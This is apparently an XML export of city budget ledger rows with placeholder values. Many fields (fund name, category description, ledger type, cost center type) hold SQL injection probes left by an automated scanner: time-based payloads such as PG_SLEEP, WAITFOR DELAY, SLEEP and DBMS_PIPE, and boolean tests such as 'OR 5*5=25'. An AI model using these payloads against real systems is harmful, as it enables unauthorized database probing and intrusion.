<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102bu3yKZCb' OR 426=(SELECT 426 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1)) OR 270=(SELECT 270 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1) OR 507=(SELECT 507 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=26 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1 waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1); waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1; waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102*if(now()=sysdate(),sleep(15),0)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=25 or "jkT5NTFT"="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=26 or 'kuUvue8i'='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941020'XOR(94102*if(now()=sysdate(),sleep(15),0))XOR'Z</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=26 or "jkT5NTFT"="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=25 or 'kuUvue8i'='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=25</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=26 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=25 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=25</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102Ayf23Xf5</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select 198766*667891)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUungu6Rh4') OR 714=(SELECT 714 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU6RlV6Dgq'; waitfor delay '0:0:15' -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU-1 waitfor delay '0:0:15' -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=26 or "SzOmsluN"="</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=25 or "SzOmsluN"="</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=26 or 'PVK7emFj'='</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=25</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1)) OR 569=(SELECT 569 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1*if(now()=sysdate(),sleep(15),0)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=26 or "LQcSdqnV"="</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=25 or 'w6K6Dkt4'='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=25 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=26</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=25</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=26</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1fTOJii9R')) OR 717=(SELECT 717 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
